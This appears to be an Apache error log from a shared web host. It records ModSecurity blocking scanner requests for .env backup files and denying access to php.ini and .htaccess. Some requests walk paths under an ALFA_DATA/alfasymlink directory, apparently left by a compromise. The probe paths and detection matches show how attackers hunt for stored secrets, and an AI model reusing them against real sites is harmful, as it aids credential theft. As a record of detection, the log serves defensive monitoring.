[Mon Oct 26 22:29:10.374754 2026] [security2:error] [pid 3143276:tid 3143276] [client 195.178.110.159:20202] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "auAMduFUQe6HxVFzxpdu3gAAAAA"]
[Mon Oct 26 22:29:10.375055 2026] [security2:error] [pid 3143276:tid 3143276] [client 195.178.110.159:20202] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "auAMduFUQe6HxVFzxpdu3gAAAAA"]
[Mon Oct 26 22:29:10.375445 2026] [security2:error] [pid 3143276:tid 3143276] [client 195.178.110.159:20202] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "auAMduFUQe6HxVFzxpdu3gAAAAA"]
[Mon Oct 26 22:29:10.478255 2026] [security2:error] [pid 3143276:tid 3143276] [client 195.178.110.159:20202] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.old"] [unique_id "auAMduFUQe6HxVFzxpdu3wAAAAA"]
[Mon Oct 26 22:29:10.478512 2026] [security2:error] [pid 3143276:tid 3143276] [client 195.178.110.159:20202] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.old"] [unique_id "auAMduFUQe6HxVFzxpdu3wAAAAA"]
[Mon Oct 26 22:29:10.478920 2026] [security2:error] [pid 3143276:tid 3143276] [client 195.178.110.159:20202] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.old"] [unique_id "auAMduFUQe6HxVFzxpdu3wAAAAA"]
[Mon Oct 26 22:29:10.633088 2026] [security2:error] [pid 3143276:tid 3143276] [client 195.178.110.159:20202] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "auAMduFUQe6HxVFzxpdu4AAAAAA"]
[Mon Oct 26 22:29:10.633333 2026] [security2:error] [pid 3143276:tid 3143276] [client 195.178.110.159:20202] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "auAMduFUQe6HxVFzxpdu4AAAAAA"]
[Mon Oct 26 22:29:10.633656 2026] [security2:error] [pid 3143276:tid 3143276] [client 195.178.110.159:20202] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "auAMduFUQe6HxVFzxpdu4AAAAAA"]
[Mon Oct 26 22:29:10.730164 2026] [security2:error] [pid 3143276:tid 3143276] [client 195.178.110.159:20202] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.save"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.save"] [unique_id "auAMduFUQe6HxVFzxpdu4QAAAAA"]
[Mon Oct 26 22:29:10.730421 2026] [security2:error] [pid 3143276:tid 3143276] [client 195.178.110.159:20202] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.save"] [unique_id "auAMduFUQe6HxVFzxpdu4QAAAAA"]
[Mon Oct 26 22:29:10.730770 2026] [security2:error] [pid 3143276:tid 3143276] [client 195.178.110.159:20202] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.save"] [unique_id "auAMduFUQe6HxVFzxpdu4QAAAAA"]
[Mon Oct 26 22:29:14.187118 2026] [ssl:error] [pid 3128624:tid 3128624] (70014)End of file found: [client 184.72.95.195:25934] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:29:22.170263 2026] [ssl:error] [pid 3137125:tid 3137125] (70014)End of file found: [client 34.225.87.80:9892] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:29:26.208322 2026] [ssl:error] [pid 3128624:tid 3128624] (70014)End of file found: [client 18.232.11.247:2210] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:29:30.173073 2026] [ssl:error] [pid 3137125:tid 3137125] (70014)End of file found: [client 52.200.93.170:61174] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:29:34.279920 2026] [ssl:error] [pid 3143297:tid 3143297] (70014)End of file found: [client 44.205.74.196:13626] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:29:37.017015 2026] [core:error] [pid 3142605:tid 3142605] (13)Permission denied: [client 85.208.96.207:13022] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dma-kmalloc-2k/reclaim_account
[Mon Oct 26 22:29:54.217046 2026] [ssl:error] [pid 3142580:tid 3142580] (70014)End of file found: [client 44.215.210.112:54858] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:30:06.247175 2026] [authz_core:error] [pid 3122519:tid 3122519] [client 71.6.199.87:45876] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 22:30:06.318445 2026] [ssl:error] [pid 3117428:tid 3117428] (70014)End of file found: [client 44.215.210.112:32560] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:30:15.408865 2026] [ssl:error] [pid 3142595:tid 3142595] (70014)End of file found: [client 98.83.72.38:21572] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:30:18.340670 2026] [ssl:error] [pid 3142580:tid 3142580] (70014)End of file found: [client 52.204.37.237:63749] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:30:26.203191 2026] [ssl:error] [pid 3143278:tid 3143278] (70014)End of file found: [client 3.94.157.25:26180] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:30:32.606840 2026] [core:error] [pid 3142605:tid 3142605] (13)Permission denied: [client 185.191.171.19:53240] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-cg-8/hwcache_align
[Mon Oct 26 22:30:32.667269 2026] [ssl:error] [pid 3128624:tid 3128624] (70014)End of file found: [client 34.206.249.188:12768] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:30:38.342929 2026] [ssl:error] [pid 3117428:tid 3117428] (70014)End of file found: [client 3.229.2.217:37373] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:30:41.436670 2026] [security2:error] [pid 3142580:tid 3142580] [client 184.94.112.250:25783] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/contacto/contacto.php"] [unique_id "auAM0VEGzjBJO_o-KWJAkwAAAAw"]
[Mon Oct 26 22:30:41.436705 2026] [security2:error] [pid 3142580:tid 3142580] [client 184.94.112.250:25783] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/contacto/contacto.php"] [unique_id "auAM0VEGzjBJO_o-KWJAkwAAAAw"]
[Mon Oct 26 22:31:10.399302 2026] [ssl:error] [pid 3143276:tid 3143276] (70014)End of file found: [client 44.194.139.149:65277] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:31:22.176102 2026] [ssl:error] [pid 3137125:tid 3137125] (70014)End of file found: [client 54.145.82.217:49307] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:31:34.194346 2026] [security2:error] [pid 3143278:tid 3143278] [client 18.233.24.238:58969] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/input/input1/device/firmware_node/subsystem/devices/device:0c/subsystem/devices/LNXSYBUS:00/PNP0A03:00/PNP0A06:02/power/"] [unique_id "auANBhCoYT79o9zYI_NpOgAAAAM"]
[Mon Oct 26 22:31:34.194398 2026] [security2:error] [pid 3143278:tid 3143278] [client 18.233.24.238:58969] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/input/input1/device/firmware_node/subsystem/devices/device:0c/subsystem/devices/LNXSYBUS:00/PNP0A03:00/PNP0A06:02/power/"] [unique_id "auANBhCoYT79o9zYI_NpOgAAAAM"]
[Mon Oct 26 22:31:47.988132 2026] [ssl:error] [pid 3142595:tid 3142595] (70014)End of file found: [client 185.191.171.5:38596] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:31:54.231613 2026] [ssl:error] [pid 3143279:tid 3143279] (5)Input/output error: [client 18.213.70.100:29785] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:32:02.254061 2026] [ssl:error] [pid 3142595:tid 3142595] (70014)End of file found: [client 35.168.238.50:6633] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:32:10.082123 2026] [core:error] [pid 3143279:tid 3143279] (13)Permission denied: [client 85.208.96.206:23372] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ksm_rmap_item/slabs_cpu_partial
[Mon Oct 26 22:32:18.246337 2026] [ssl:error] [pid 3122519:tid 3122519] (70014)End of file found: [client 54.243.63.52:27101] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:32:30.867636 2026] [ssl:error] [pid 3142595:tid 3142595] (70014)End of file found: [client 85.208.96.194:54012] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:32:33.340248 2026] [core:error] [pid 3143278:tid 3143278] (13)Permission denied: [client 85.208.96.204:48266] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/PING/cache_dma
[Mon Oct 26 22:32:34.293351 2026] [ssl:error] [pid 3143279:tid 3143279] (70014)End of file found: [client 98.84.131.195:4683] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:32:46.333488 2026] [ssl:error] [pid 3117428:tid 3117428] (70014)End of file found: [client 3.210.223.61:16920] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:32:50.200730 2026] [ssl:error] [pid 3142580:tid 3142580] (70014)End of file found: [client 3.216.86.144:36905] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:32:55.814857 2026] [authz_core:error] [pid 3143279:tid 3143279] [client 62.133.46.15:53383] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 22:32:55.920615 2026] [core:crit] [pid 3142605:tid 3142605] (13)Permission denied: [client 62.133.46.15:53384] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Mon Oct 26 22:32:56.951225 2026] [core:crit] [pid 3143276:tid 3143276] (13)Permission denied: [client 62.133.46.15:53515] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Mon Oct 26 22:33:06.339318 2026] [core:error] [pid 3142595:tid 3142595] (13)Permission denied: [client 44.221.105.234:8044] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:20/subsystem/devices/PNP0303:00/subsystem/devices/PNP0A03:00/physical_node/0000:00:01.1/driver/uevent
[Mon Oct 26 22:33:18.220952 2026] [ssl:error] [pid 3122519:tid 3122519] (70014)End of file found: [client 54.85.126.86:31204] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:33:22.194353 2026] [ssl:error] [pid 3117428:tid 3117428] (70014)End of file found: [client 184.73.47.24:18813] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:33:30.388138 2026] [ssl:error] [pid 3142596:tid 3142596] (70014)End of file found: [client 34.202.88.37:47374] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:33:43.177106 2026] [ssl:error] [pid 3143276:tid 3143276] (70014)End of file found: [client 185.191.171.17:29910] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:33:46.456220 2026] [ssl:error] [pid 3122519:tid 3122519] (70014)End of file found: [client 54.145.82.217:63954] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:33:50.209893 2026] [ssl:error] [pid 3143279:tid 3143279] (70014)End of file found: [client 52.205.113.104:41989] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:33:53.238710 2026] [security2:error] [pid 3128624:tid 3128624] [client 107.172.76.131:57132] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "bases2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auANhC-AKBd00cmosRNJSAAAAAE"], referer: https://bases2.sherwinpinturas.com/beta.php
[Mon Oct 26 22:33:53.238797 2026] [security2:error] [pid 3128624:tid 3128624] [client 107.172.76.131:57132] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "bases2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auANhC-AKBd00cmosRNJSAAAAAE"], referer: https://bases2.sherwinpinturas.com/beta.php
[Mon Oct 26 22:33:58.228341 2026] [ssl:error] [pid 3142595:tid 3142595] (70014)End of file found: [client 34.194.233.48:28980] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:34:02.318050 2026] [ssl:error] [pid 3143278:tid 3143278] (70014)End of file found: [client 100.24.149.244:19063] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:34:10.177114 2026] [ssl:error] [pid 3122519:tid 3122519] (70014)End of file found: [client 52.204.253.129:52591] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:34:14.279921 2026] [ssl:error] [pid 3143279:tid 3143279] (70014)End of file found: [client 54.209.100.30:40528] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:34:18.254453 2026] [ssl:error] [pid 3142596:tid 3142596] (70014)End of file found: [client 54.198.33.233:51901] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:34:30.372121 2026] [ssl:error] [pid 3143278:tid 3143278] (70014)End of file found: [client 54.167.32.123:37690] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:34:34.290539 2026] [ssl:error] [pid 3142605:tid 3142605] (70014)End of file found: [client 18.208.11.93:45874] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:34:42.256943 2026] [ssl:error] [pid 3117428:tid 3117428] (70014)End of file found: [client 52.6.232.201:30274] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:34:44.588301 2026] [core:error] [pid 3143279:tid 3143279] (13)Permission denied: [client 185.191.171.5:46790] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/biovec-16/reclaim_account
[Mon Oct 26 22:34:46.237175 2026] [ssl:error] [pid 3142596:tid 3142596] (70014)End of file found: [client 98.83.94.113:9164] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:34:47.277490 2026] [security2:error] [pid 3142595:tid 3142595] [client 91.92.240.86:58270] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "busca1.sherwinpinturas.com"] [uri "/.env"] [unique_id "auANx3fB5_cr2AuVp7R3-wAAABA"]
[Mon Oct 26 22:34:47.277690 2026] [security2:error] [pid 3142595:tid 3142595] [client 91.92.240.86:58270] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "busca1.sherwinpinturas.com"] [uri "/.env"] [unique_id "auANx3fB5_cr2AuVp7R3-wAAABA"]
[Mon Oct 26 22:34:47.277999 2026] [security2:error] [pid 3142595:tid 3142595] [client 91.92.240.86:58270] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "busca1.sherwinpinturas.com"] [uri "/.env"] [unique_id "auANx3fB5_cr2AuVp7R3-wAAABA"]
[Mon Oct 26 22:34:50.218964 2026] [core:error] [pid 3142580:tid 3142580] (13)Permission denied: [client 3.209.174.110:24611] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/bus/cpu/drivers/processor/cpu1/node0/memory1/node0/cpu0/firmware_node/subsystem/devices/PNP0A03:00/device:13/eject
[Mon Oct 26 22:34:54.330911 2026] [ssl:error] [pid 3143278:tid 3143278] (70014)End of file found: [client 54.144.185.255:10923] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:35:03.076927 2026] [proxy_fcgi:error] [pid 3142596:tid 3142596] [client 52.139.34.95:49356] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 22:35:03.119710 2026] [proxy_fcgi:error] [pid 3142596:tid 3142596] [client 52.139.34.95:49356] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 22:35:03.164536 2026] [proxy_fcgi:error] [pid 3142596:tid 3142596] [client 52.139.34.95:49356] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 22:35:03.206195 2026] [proxy_fcgi:error] [pid 3142596:tid 3142596] [client 52.139.34.95:49356] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 22:35:03.254667 2026] [proxy_fcgi:error] [pid 3142596:tid 3142596] [client 52.139.34.95:49356] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 22:35:03.296648 2026] [proxy_fcgi:error] [pid 3142596:tid 3142596] [client 52.139.34.95:49356] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 22:35:03.342093 2026] [proxy_fcgi:error] [pid 3142596:tid 3142596] [client 52.139.34.95:49356] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 22:35:03.384683 2026] [proxy_fcgi:error] [pid 3142596:tid 3142596] [client 52.139.34.95:49356] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 22:35:03.427065 2026] [proxy_fcgi:error] [pid 3142596:tid 3142596] [client 52.139.34.95:49356] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 22:35:03.474976 2026] [proxy_fcgi:error] [pid 3142596:tid 3142596] [client 52.139.34.95:49356] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 22:35:03.518334 2026] [proxy_fcgi:error] [pid 3142596:tid 3142596] [client 52.139.34.95:49356] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 22:35:03.560830 2026] [proxy_fcgi:error] [pid 3142596:tid 3142596] [client 52.139.34.95:49356] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 22:35:03.603777 2026] [proxy_fcgi:error] [pid 3142596:tid 3142596] [client 52.139.34.95:49356] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 22:35:03.646965 2026] [proxy_fcgi:error] [pid 3142596:tid 3142596] [client 52.139.34.95:49356] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 22:35:03.690836 2026] [proxy_fcgi:error] [pid 3142596:tid 3142596] [client 52.139.34.95:49356] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 22:35:03.735373 2026] [proxy_fcgi:error] [pid 3142596:tid 3142596] [client 52.139.34.95:49356] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 22:35:03.778573 2026] [proxy_fcgi:error] [pid 3142596:tid 3142596] [client 52.139.34.95:49356] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 22:35:03.821318 2026] [proxy_fcgi:error] [pid 3142596:tid 3142596] [client 52.139.34.95:49356] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 22:35:03.864029 2026] [proxy_fcgi:error] [pid 3142596:tid 3142596] [client 52.139.34.95:49356] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 22:35:03.924179 2026] [proxy_fcgi:error] [pid 3142596:tid 3142596] [client 52.139.34.95:49356] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 22:35:03.981732 2026] [proxy_fcgi:error] [pid 3142596:tid 3142596] [client 52.139.34.95:49356] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 22:35:04.024300 2026] [proxy_fcgi:error] [pid 3142596:tid 3142596] [client 52.139.34.95:49356] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 22:35:04.066843 2026] [proxy_fcgi:error] [pid 3142596:tid 3142596] [client 52.139.34.95:49356] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 22:35:04.110003 2026] [proxy_fcgi:error] [pid 3142596:tid 3142596] [client 52.139.34.95:49356] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 22:35:04.152380 2026] [proxy_fcgi:error] [pid 3142596:tid 3142596] [client 52.139.34.95:49356] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 22:35:04.194576 2026] [proxy_fcgi:error] [pid 3142596:tid 3142596] [client 52.139.34.95:49356] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 22:35:04.239250 2026] [proxy_fcgi:error] [pid 3142596:tid 3142596] [client 52.139.34.95:49356] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 22:35:04.282638 2026] [proxy_fcgi:error] [pid 3142596:tid 3142596] [client 52.139.34.95:49356] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 22:35:04.325173 2026] [proxy_fcgi:error] [pid 3142596:tid 3142596] [client 52.139.34.95:49356] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 22:35:04.367888 2026] [proxy_fcgi:error] [pid 3142596:tid 3142596] [client 52.139.34.95:49356] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 22:35:04.411952 2026] [proxy_fcgi:error] [pid 3142596:tid 3142596] [client 52.139.34.95:49356] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 22:35:04.455989 2026] [proxy_fcgi:error] [pid 3142596:tid 3142596] [client 52.139.34.95:49356] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 22:35:04.498522 2026] [proxy_fcgi:error] [pid 3142596:tid 3142596] [client 52.139.34.95:49356] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 22:35:04.542527 2026] [proxy_fcgi:error] [pid 3142596:tid 3142596] [client 52.139.34.95:49356] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 22:35:04.590334 2026] [proxy_fcgi:error] [pid 3142596:tid 3142596] [client 52.139.34.95:49356] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 22:35:04.633310 2026] [proxy_fcgi:error] [pid 3142596:tid 3142596] [client 52.139.34.95:49356] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 22:35:04.678270 2026] [proxy_fcgi:error] [pid 3142596:tid 3142596] [client 52.139.34.95:49356] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 22:35:04.773198 2026] [proxy_fcgi:error] [pid 3142596:tid 3142596] [client 52.139.34.95:49356] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 22:35:04.817589 2026] [proxy_fcgi:error] [pid 3142596:tid 3142596] [client 52.139.34.95:49356] AH01071: Got error 'Primary script unknown'
